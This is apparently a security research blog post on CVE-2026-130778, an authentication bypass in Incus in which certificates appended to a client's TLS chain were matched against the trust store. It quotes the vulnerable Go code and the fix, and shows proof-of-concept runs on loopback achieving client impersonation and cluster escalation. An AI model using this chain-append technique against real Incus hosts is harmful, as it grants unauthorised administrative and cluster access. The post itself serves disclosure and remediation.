HB Updated Nov 20, 2026

The Chain Carries the Identity: CVE-2026-130778, a CVSS 10.0 Authentication Bypass in Incus

Chrome chain of glowing links reaching from a workstation into an open server cabinet, one visual metaphor for a certificate chain presented to a daemon (AI-generated illustration)

Incus, the Linux Containers community’s system container and virtual machine manager, authenticates HTTPS clients with TLS client certificates against a local trust store. Its HTTPS listener requests client certificates without verifying them, so the TLS handshake proves possession only of the private key of the first certificate in the presented chain; every later certificate in that chain is fully client controlled. Before version 7.6.0, the authentication and certificate ownership checks compared every certificate in the presented chain against the trust store, which allowed any client that can reach the listener to authenticate as any trusted certificate whose public part it knows, including the server’s own certificate, without holding the matching private key. The upstream advisory (GHSA-xg75-xf37-cph9, CVE-2026-130778) scores the issue CVSS 3.1 10.0 and classifies it as CWE-287 and CWE-295; the flaw has been present since the initial release. The fix, released in Incus 7.6 on 2026-10-30, restricts every trust-store check to the first, key-proven peer certificate. This article reconstructs the mechanism from the upstream sources, validates the analysis with a faithful reproduction of the vulnerable and fixed authentication logic, and reviews the remediation options in order of robustness.

Trusting the key is everything

Certificate-based client authentication rests on a single assumption: that the identity the server accepts is bound to a private key the client actually holds. When that binding loosens, the certificate stops being a credential and becomes a mere label. The vulnerability analyzed here, CVE-2026-130778, is a clean instance of exactly that failure inside a widely deployed infrastructure product.

The scope of this analysis is deliberately narrow. The article establishes four claims:

  1. The Incus HTTPS listener configured client certificate handling such that only the first presented certificate is key-proven, while authentication matched any presented certificate against the trust store.
  2. As a consequence, a client with network reachability to the listener could authenticate as any trust-store entry whose public certificate it possesses, including the server certificate that every TLS handshake exposes.
  3. The upstream fix in Incus 7.6 (commit 8381e54c36) restores the binding by matching only the first, key-proven certificate.
  4. A minimal reproduction of both logic variants reproduces the advisory’s headline flows, and the fixed variant rejects them while legitimate authentication continues to work.

Claims 1 to 3 are tied to the upstream advisory, the upstream diff, and the source trees of Incus v7.5.0 (vulnerable) and v7.6.0 (fixed). Claim 4 is validated experimentally in the Reproducing it end to end section, using a transcription of the upstream authentication function rather than the full daemon; the limitations of that method are stated explicitly in the What it means in production section.

How Incus decides who you are

Three certificate buckets, one trust store

Incus is a system container and virtual machine manager published by the Linux Containers project. It forked from Canonical’s LXD in 2023 and is developed in the open in the lxc/incus repository. Clients interact with the daemon (incusd) through a REST API served over HTTPS; the default network listener binds port 8443. The project’s server documentation describes three authentication mechanisms for the API: TLS client certificates held in the daemon’s trust store, trust tokens for certificate enrollment, and OpenID Connect. Clustered deployments replicate the trust store across members, and cluster members authenticate to each other with a shared server certificate.

The TLS trust model distinguishes three certificate types in the trust store, mirrored in the source as buckets keyed by certificate.Type: client certificates (interactive and API clients), metrics certificates (read-only access to the /1.0/metrics endpoint), and server certificates (cluster members). The buckets matter because they authorize different things: a match in the client bucket yields an ordinary TLS identity, while a match in the server bucket yields a cluster identity, which the daemon treats as internal traffic and authorizes far more permissively.

Possession versus presentation

The relevant TLS facts come from RFC 8446. A TLS 1.3 client authenticates by sending a certificate list and a CertificateVerify message containing a signature, made with the key of the first certificate in that list, over the handshake transcript. The signature therefore proves possession of exactly one private key: the leaf’s. Any additional certificates in the list are unauthenticated assertions carried by the client; unless the server verifies the whole chain against a configured CA, those extra entries are attacker-chosen data.

We define the confusion precisely, because the rest of the analysis depends on it:

  • Key-proven certificate: the first peer certificate, whose corresponding private key demonstrably signed the handshake.
  • Presented certificates: every peer certificate the client chose to send, none of which the server verified in this configuration.

The weakness sits in the gap between the two definitions. CWE-287 (Improper Authentication) covers authentication logic that fails to verify identity as intended; CWE-295 (Improper Certificate Validation) covers the unvalidated certificate chain feeding it. The advisory assigns both. Sibling members of this family have appeared on this blog before in a different form: forged administrative sessions built from guessable signing material in CVE-2026-114612 in LiteLLM, and session hijacking through leaked secrets in CVE-2026-102489 in Zammad. The shared pattern is identical in kind: the server accepts an identity token whose binding to the presenting party is not verified. What makes CVE-2026-130778 distinctive is the binding failure living inside the TLS handshake itself, in plain sight of the standard library’s semantics, since the initial release of the project.

Four dates that tell the story

Date Event
2026-10-13 Fix commit 8381e54c36 (“incusd: Only trust the key-proven client certificate”) lands
2026-10-29 Upstream security advisory GHSA-xg75-xf37-cph9 published; credit: stgraber (reporter)
2026-10-30 Incus 7.6 released, containing the fix
2026-11-18 CVE-2026-130778 record published in the NVD

How this was researched

Three source categories were examined. First, the upstream security advisory GHSA-xg75-xf37-cph9, which is the vendor’s own bulletin and the authoritative statement of impact and workarounds. Second, the upstream source trees: lxc/incus at tag v7.5.0 for the vulnerable behavior and tag v7.6.0 for the fixed behavior, plus the fix commit 8381e54c36 and the related cluster chain-handling changes. Third, the standards and library documentation that define what the TLS handshake proves: RFC 8446 and the crypto/tls package documentation for Go’s RequestClientCert client authentication policy.

The lab environment used for validation is intentionally minimal: a Go program that reproduces the daemon’s authentication function and TLS listener configuration, transcribed from the upstream sources with documented omissions, together with an attack client. The daemon itself was not executed; the reasons and the consequences for confidence in the results are covered in the What it means in production section. All experiments ran against loopback on a dedicated workstation. No third-party infrastructure was contacted, and the certificates involved are self-signed throwaways.

Anatomy of the bypass

The numbers behind CVSS 10.0

Field Value
CVE CVE-2026-130778
Advisory GHSA-xg75-xf37-cph9 (lxc/incus)
Product Incus (incusd), all releases before 7.6.0
Severity Critical, CVSS 3.1 10.0
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses CWE-287 (Improper Authentication), CWE-295 (Improper Certificate Validation)
Fixed in 7.6.0 (2026-10-30), commit 8381e54c36
Workaround Restrict network access to the HTTPS listener; no configuration-based workaround

The CVSS vector repays a close reading. PR:N means no privileges are required: the server certificate needed for the strongest variant of the attack is handed to any connector during the TLS handshake. S:C reflects the scope change into the cluster trust boundary: an outsider presenting a certificate that is not theirs becomes, in the daemon’s view, internal cluster traffic.

What the listener asks for, and what it verifies

The daemon’s HTTPS listener is configured by ServerTLSConfig in internal/server/util/net.go. The relevant lines are short:

config := localtls.InitTLSConfig()
config.ClientAuth = tls.RequestClientCert
config.Certificates = []tls.Certificate{cert.KeyPair()}

tls.RequestClientCert is Go’s weakest form of mutual TLS: the server asks the client to present a certificate and accepts whatever arrives, without verifying it. No ClientCAs pool is installed in the default (non-CA-mode) configuration, so there is nothing the library could verify against even if it wanted to. The consequence is the definition from the Possession versus presentation section: r.TLS.PeerCertificates on the server side holds the key-proven leaf plus any number of attacker-chosen certificates.

The loop that borrowed identities

Authentication runs through (d *Daemon) Authenticate in cmd/incusd/daemon.go. The v7.5.0 code checks the trust store buckets in sequence, and every check iterates the entire presented chain. The cluster check comes first:

// Allow internal cluster traffic by checking against the trusted certfificates.
if r.TLS != nil {
    for _, i := range r.TLS.PeerCertificates {
        trusted, fingerprint := localUtil.CheckTrustState(*i, trustedCerts[certificate.TypeServer], d.endpoints.NetworkCert(), false)
        if trusted {
            return true, fingerprint, "cluster", nil, nil
        }
    }
}

Two more loops follow: one for metrics certificates on the /1.0/metrics path, and the general client-certificate check. All three share the same shape. CheckTrustState in internal/server/util/http.go performs a validity-window check and then a byte-equality comparison of the candidate certificate against each trust-store entry:

for fingerprint, v := range trustedCerts {
    if bytes.Equal(cert.Raw, v.Raw) {
        return true, fingerprint
    }
}

The data flow, as Figure 1 shows, is therefore: the client chooses the chain contents; the TLS stack proves only the leaf’s key possession; and the authentication layer accepts a byte-equality match from anywhere in the chain as proof of identity. The trust store entries themselves are sound. The failure is purely in which certificate the matcher is allowed to look at.

Figure 1: the TLS handshake proves possession of the leaf key only, while the vulnerable authentication loop matches every presented certificate against the trust store, so an appended public certificate becomes a borrowed identity

Three buckets, three ways in

The advisory’s impact list maps directly onto the buckets:

  • Client bucket (impersonation of any trusted client). A client that can reach the listener and holds the public certificate of a trusted client authenticates as that client. The advisory notes two practical sources for such public certificates: the certificates API, readable by any trusted client, and “any server the client connected to”, since enrollment flows distribute the certificate’s public part.
  • Server bucket (cluster identity from zero prior access). The daemon’s own network certificate is returned by every TLS handshake. Appending it to the chain yields a cluster identity, which bypasses authorization entirely: the advisory lists access to the database gateway, and, on a cluster, internal member-to-member access by appending another member’s certificate.
  • Metrics bucket. The same append trick authenticates as a metrics certificate, granting read access to the metrics surface.

The same bug in three more places

The advisory documents further consequences of trusting presented certificates, all fixed by the same commit. Three deserve note.

First, the certificate self-service paths in cmd/incusd/certificates.go identified the caller’s certificate using the last certificate of the presented chain (r.TLS.PeerCertificates[len-1]), a value entirely attacker-chosen, allowing renewal or deletion of arbitrary trust-store entries.

Second, the authorization scriptlet driver passed the unverified presented chain into scriptlet decisions, so clients could feed attacker-chosen certificates into authorization logic. Per the advisory this also applies to clients authenticated by token or OIDC rather than mTLS, since those can still carry arbitrary certificates in the handshake.

Third, the VM agent connection between host and virtual machines performed equivalent chain-based checks (cmd/incusd/api_vsock.go, cmd/incus-agent/server.go).

Matching only the key-proven leaf

Upstream commit 8381e54c36 (“incusd: Only trust the key-proven client certificate”) changes every trust-store check to consider only r.TLS.PeerCertificates[0], as Figure 2 illustrates. The commit message states the reasoning directly: “the TLS handshake only proves possession of the first certificate in the client’s chain … Match only the first peer certificate in every trust-store check.” Six files changed: the daemon authentication, the certificates self-service paths, the scriptlet driver, the cluster TLS check, the vsock API, and the VM agent.

Supporting changes in the same release make chains workable where they are legitimate. The cluster certificate itself may legitimately be a chain (leaf plus issuer), so pull request #4079 teaches the daemon to distribute and consume the full server chain (GetRemoteCertificates, PublicKeyChain, join-token handling), and a later commit compares the joiner’s server certificate explicitly. The fixed cluster check uses CheckTrustStateIssuer, which matches the leaf against the trust store and, in CA mode, validates the issuer relationship through the presented chain, where the issuer’s public part is exactly what a chain is for.

Figure 2: before the fix, trust-store matching scanned the whole client-presented chain and accepted any byte-equality hit; after the fix, only the key-proven leaf certificate participates in authentication


Reproducing it end to end

Four claims to test

The analysis yields four testable hypotheses. H1: presenting an untrusted leaf alone is rejected. H2: appending the public certificate of a trusted client to that leaf authenticates as that client, with no private key involved. H3: appending the server’s own certificate, fetched from a plain unauthenticated handshake, yields a cluster identity. H4: the fixed (leaf-only) logic rejects H2 and H3 while continuing to accept a legitimately key-proven certificate.

The lab

The full PoC, including the transcribed server and the attack client, is available at https://gitlab.com/hunt-benito/the-chain-carries-the-identity-cve-2026-130778-incus-tls-authentication-bypass.

The lab generates four self-signed RSA identities at startup: server (the daemon network certificate), victim-admin (a trusted client entry), metrics (a trusted metrics entry), and attacker (not in any trust bucket). The server exposes a /1.0 endpoint that reports the authentication result, a /1.0/admin-note endpoint holding victim-owned data, and a /1.0/cluster-internal endpoint reserved for cluster identities. Running the server prints the trust store fingerprints:

2026/11/20 12:06:35 mode=vulnerable listening on https://127.0.0.1:8443
2026/11/20 12:06:35 trust store: client=6bf3259cc956 server=e003bb9f3d1a metrics=8c62f53d5723

Two baselines (H1)

The attacker presents its own certificate alone and is rejected; the real victim keypair authenticates normally:

$ ./poc-attack -attack whoami
[>] GET https://127.0.0.1:8443/1.0
[<] HTTP 401: {"auth":"untrusted"}

$ ./poc-attack -attack honest
[>] GET https://127.0.0.1:8443/1.0
[<] HTTP 200: {"auth":"trusted","method":"tls","username":"6bf3259cc956cfd8abc7d7c9714baaaf20886dbab6a4528e3e49f5e4f8abc60a"}

Impersonation without a private key (H2)

The client implements the chain append in the natural Go idiom: the presented certificate list is a [][]byte, and the victim’s public certificate DER is appended after the attacker’s leaf. The victim’s private key file is deleted before the run, so a successful outcome is cryptographic proof that no victim key material was used:

rm lab-certs/victim-admin.key
./poc-attack -attack impersonate
[*] attacker holds: attacker.key (own key)
[*] attacker holds: victim-admin.crt (PUBLIC certificate only, no private key)
[*] presented chain: [leaf=attacker, appended=victim-admin]

[>] GET https://127.0.0.1:8443/1.0
[<] HTTP 200: {"auth":"trusted","method":"tls","username":"6bf3259cc956cfd8abc7d7c9714baaaf20886dbab6a4528e3e49f5e4f8abc60a"}

[>] GET https://127.0.0.1:8443/1.0/admin-note (victim-owned admin data)
[<] HTTP 200: {"note":"admin-level data owned by trust entry 6bf3259cc956","owner":"6bf3259cc956","warning":"reached by presenting a certificate chain, identity matched inside the chain"}

The username reported for the attacker’s connection is byte-for-byte the victim’s fingerprint. H2 holds: the identity came from the appended public certificate, not from anything the handshake proved.

Cluster escalation from zero prior access (H3)

The server certificate is fetched by a plain TLS handshake carrying no client certificate, mirroring upstream GetRemoteCertificate, then appended:

$ ./poc-attack -attack escalate
[*] fetched server certificate from a plain handshake: CN=lab-server
[*] no private key involved: the server certificate is public by definition
[*] presented chain: [leaf=attacker, appended=server]

[>] GET https://127.0.0.1:8443/1.0
[<] HTTP 200: {"auth":"trusted","method":"cluster","username":"e003bb9f3d1a391c4448e64314b606ba0e4518efb292ed80d2dcc078eee3ddb0"}

[>] GET https://127.0.0.1:8443/1.0/cluster-internal (cluster-only surface)
[<] HTTP 200: {"gateway":"cluster database gateway reached, cluster identities bypass authorization","identity":"e003bb9f3d1a"}

The method reported is cluster: the check against the server bucket fired before the client bucket was ever consulted. In the real daemon this identity class is the authorization bypass the advisory describes. H3 holds. The daemon-side log for the whole run confirms the same story from the server’s perspective:

2026/11/20 12:06:43 authz trusted=false path=/1.0
2026/11/20 12:06:43 authz trusted=true method=tls fp=6bf3259cc956 path=/1.0
2026/11/20 12:06:43 authz method=tls trusted=true fp=6bf3259cc956 path=/1.0/admin-note (admin data served)
2026/11/20 12:06:43 authz trusted=true method=cluster fp=e003bb9f3d1a path=/1.0
2026/11/20 12:06:43 authz method=cluster trusted=true fp=e003bb9f3d1a path=/1.0/cluster-internal (cluster gateway served)

One line apart: the fixed logic (H4)

Restarting the same server with the v7.6.0 logic (-mode fixed, leaf-only matching per 8381e54c36) produces the expected inversion. The honest flow still authenticates; both attack flows are rejected:

$ ./poc-attack -addr 127.0.0.1:8444 -attack honest
[<] HTTP 200: {"auth":"trusted","method":"tls","username":"31f65c607fcc4a56..."}

$ ./poc-attack -addr 127.0.0.1:8444 -attack impersonate
[<] HTTP 401: {"auth":"untrusted"}

$ ./poc-attack -addr 127.0.0.1:8444 -attack escalate
[<] HTTP 401: {"auth":"untrusted"}

H4 holds. A single-line semantic change, matching only the key-proven certificate, separates the two behaviors.


What it means in production

Reading it as an operator

The exposure question is reachability of the HTTPS listener. A single-node Incus deployment on a management network that only the administrator can reach reduces the attacker set to that network’s population; a cluster spreads the listener across every member, and the advisory’s S:C scope change reflects how an external foothold becomes internal cluster access. Two properties of the bug deserve emphasis.

First, the prerequisite is knowledge of a public certificate. Public certificates are, by design, public: the server’s own certificate is handed out on every handshake, and client certificate public parts flow through enrollment and any API read of the trust store. No secret is required beyond network reachability.

Second, the attack is hard to see after the fact. An impersonated connection authenticates under the victim’s fingerprint; the daemon’s logs attribute every action to the legitimate trust entry. Detection therefore cannot rest on authentication anomalies, because there are none. Operators of pre-7.6.0 deployments who had untrusted parties on the listener’s network should assume identity confusion was possible and treat trust-store entries as potentially abused: replace client certificates, and audit what those identities did during the exposure window.

What this experiment does not prove

The experimental validation exercised a transcription of the upstream authentication function, not the daemon itself. The transcription reproduces the listener configuration (tls.RequestClientCert, no verification), the trust-store buckets, the three matching loops, and the fingerprint comparison, with omissions documented in the source. The omitted paths (unix socket, JWT, OIDC, cluster-notification headers) do not participate in the TLS flows under test. The confidence this method supports is correspondingly specific: it validates the logic-level mechanism, while the advisory plus the upstream diff stand as the authoritative evidence for the daemon’s real-world behavior. A reproduction against a live, vulnerable incusd instance remains open work; the lab VM used for this article lacks the privileges to run one.

Two scope boundaries noted in the advisory are not exercised here: intra-cluster member impersonation (requires a multi-member cluster) and the VM agent path. The mechanism is identical, and the fix commit covers both code paths.

Fixing it, in order of preference

  1. Upgrade to Incus 7.6.0 or later. This is the only complete fix. The upstream advisory is explicit that there is no configuration-based workaround. Clusters should upgrade all members; the same release carries the cluster chain-handling changes that keep legitimate chained server certificates working.
  2. If an upgrade cannot happen immediately, restrict network access to the HTTPS listener to trusted hosts (the advisory’s stated workaround). This shrinks the attacker set to the reachable population but does not fix the flaw: any untrusted party on that network retains the attack.
  3. Assume abuse during any exposure window. Rotate client and metrics trust entries, review what those identities accessed, and keep in mind that logs attribute impersonated actions to the legitimate entry, so the audit must start from what the identities could do, not from anomalous logins.
  4. Defense in depth for the future: treat management-plane listeners as their own network zone, and prefer token- or OIDC-based enrollment flows that do not distribute client certificate public parts to parties that do not need them.

The lesson beyond Incus

The lesson is one sentence long: identity must be matched against the certificate whose key the handshake proved. Any server that iterates PeerCertificates and matches entries deeper in the chain against an identity store owns this bug class, in any language, not just Go. The RequestClientCert policy exists precisely so applications can perform their own verification; performing that verification over the whole presented chain, rather than the key-proven leaf, turns the client’s optional attachments into credentials.

The chain, closed

This article established that Incus before 7.6.0 matched client-presented certificate chains against its TLS trust store without requiring proof of possession for the matched certificate, that this allowed any reachable client to borrow the identity of any trust entry whose public part it knows, including the server certificate obtainable from the handshake itself, and that the upstream fix in commit 8381e54c36 and release 7.6.0 closes the gap by matching only the key-proven leaf. A faithful reproduction of both logic variants validated each claim experimentally, and the fixed logic rejected every attack while legitimate authentication was unaffected.

What remains open is a live validation against the daemon itself and an assessment of the intra-cluster and VM-agent paths on real deployments. Both follow the same mechanism documented here, and both are covered by the same fix. Operators running affected releases should upgrade promptly, restrict the listener’s reachability in the interim, and consider any pre-upgrade exposure window as a trust-rotation trigger.


SOURCES

GitHub Security Advisory (upstream vendor bulletin), GHSA-xg75-xf37-cph9: https://github.com/lxc/incus/security/advisories/GHSA-xg75-xf37-cph9

NIST National Vulnerability Database, CVE-2026-130778: https://nvd.nist.gov/vuln/detail/CVE-2026-130778

GitHub Security Advisory Database entry, GHSA-vv7r-fgv4-rjfg: https://github.com/advisories/GHSA-vv7r-fgv4-rjfg

Fix commit 8381e54c36, “incusd: Only trust the key-proven client certificate”: https://github.com/lxc/incus/commit/8381e54c3631c627d7ecdec03945bca14d0bd542

Cluster certificate chain handling, pull request #4079: https://github.com/lxc/incus/pull/4079

Incus 7.6 release announcement: https://discuss.linuxcontainers.org/t/incus-7-6-has-been-released/27462

Incus 7.6 release notes: https://github.com/lxc/incus/releases/tag/v7.6.0

Incus source repository (tags v7.5.0 and v7.6.0 examined): https://github.com/lxc/incus

Incus documentation, server authentication (TLS, tokens, OIDC): https://linuxcontainers.org/incus/docs/main/

Go standard library, crypto/tls (RequestClientCert, ConnectionState.PeerCertificates): https://pkg.go.dev/crypto/tls

RFC 8446, TLS 1.3 (client authentication, CertificateVerify): https://www.rfc-editor.org/rfc/rfc8446

RFC 5280, X.509 certificate and certificate list profile: https://www.rfc-editor.org/rfc/rfc5280

MITRE CWE-287, Improper Authentication: https://cwe.mitre.org/data/definitions/287.html

MITRE CWE-295, Improper Certificate Validation: https://cwe.mitre.org/data/definitions/295.html

Tags

Account-Takeover Agentic-AI AI Gateway android Android Android-Adb Android-apktool Android-Avd Android-Studio Anti-Bot API-Security Authentication Authentication Bypass Automotive Backslash-Breakout Baseband Bot-Detection Browser-Automation Browser-Fingerprinting Buffer Overflow Buffer-Overflow C2 Cache-Key-Collision Camoufox CAN-Bus CAPTCHA Chrome Cloudflare Command-Injection Container-Escape Containers Cross-Site-Scripting Cryptography Cudy CWE-121 CWE-122 CWE-125 CWE-1333 CWE-23 CWE-269 CWE-288 CWE-290 CWE-347 CWE-384 CWE-706 CWE-798 CWE-862 CWE-89 CWE-926 CWE-94 Data-Scraping Denial-of-Service Diagnostics Elixir Embedded Embedded-Systems Exploit FastGPT Firmware Frida Geolocation Go GooglePlay Hardware Heap-Overflow Hi-Browser html-sanitize-ex HTTP2 Hugging-Face Identity-Confusion Incus Information Security Integer-Overflow IoT JNI JWT Lexer-Differential Linux Linux-Kernel LiteLLM llama-cpp LLaMA-Factory LLM LwM2M LXC Machine-Learning MCP Measurement MediaTek Memory Disclosure MindsDB Missing-Authorization mitmproxy Mobile Security Mobile-Security MQTT Network-Analysis Networking OAuth OAuth2 OBD2 OIDC OpenID-Connect Out-of-Bounds Page-Cache Patchright Path-Traversal Penetration Testing pgAdmin PHP phpIPAM Playwright PostgreSQL Privilege-Escalation Prompt-Injection Python Race-Condition RCE ReDoS Reverse Engineering Reverse-Engineering Router Ruby Samsung-Bixby Samsung-Exynos SD-WAN Security Security-Research Session Hijacking Session-Hijacking SiYuan SMS Snapchat SNMP Speech-Recognition SQL-Injection SSD SSL-Pinning STIG-Manager Supply-Chain TECNO Tenda TLS Traefik UC-Browser UDS Vulnerability Web Applications Web Scraping Web-Crawling Web-Scraping Web-Security WebGPU Websocket WeChat Wi-Fi Zammad Zephyr Zero-Day